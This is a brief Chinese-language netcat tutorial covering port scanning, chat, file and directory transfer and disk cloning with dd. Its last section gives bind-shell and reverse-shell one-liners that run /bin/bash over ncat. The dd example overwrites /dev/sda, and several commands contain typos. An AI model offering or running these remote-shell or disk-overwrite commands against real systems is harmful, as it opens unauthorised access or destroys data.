netcat用于调试和检查网络,能通过TCP和UDP在网络中读写数据。netcat是在两台电脑之间建立链接并返回两个数据流,可以建立一个服务器,传输文件,与朋友聊天,传输流媒体或者用它作为其它协议的独立客户端。

 

0x01、端口扫描

ncat-v -n 192.168.1.1 80

-v:显示详细信息

-n:使用纯数字ip地址,不用DNS来解析ip地址

-w 1 :设置超时时间为1

-u:扫描UDP端口,默认TCP

-z:使用0IO,连接成功后立即关闭连接, 不进行数据交换

-l:连接和收听到来的连接

-e:执行传递的命令行

-k:接受多个听模式的连接

0x02、聊天服务

Server

在10086端口启动一个tcp服务器

ncat -l 10086

Client

在机器上Clent上输入,Server会显示出来

ncat localhost 10086

0x03、文件传输

服务器向客户端传输文件

Server

ncat-l 10086 < test.txt

Client

ncat -n 127.0.0.1 10086 > test.txt

客户端向服务器传输文件

Server

touch test.txt

ncat -l 10086 > test.txt

Clinet

cat test.txt | ncat localhost 10086

0x04、目录传输

Server

tar -czvf - python |  ncat -l10086

Clinet

ncat -n 127.0.0.1 10086 | tar -xvf -

0x05、克隆一个设备

Server

ddif=/dev/sda | nc -l 10086

Clinet

ncat -n 127.0.0.1 10086 | dd of=/dev/sda

0x06、打开一个shell

Server

ncat -l 10086 -e /bin/bash -i

Client

ncat -l 192.168.1.1 10086

反向shell

Server

ncat -l 10086

Cliet

ncat 127.0.0.1 10086 -e /bin/bash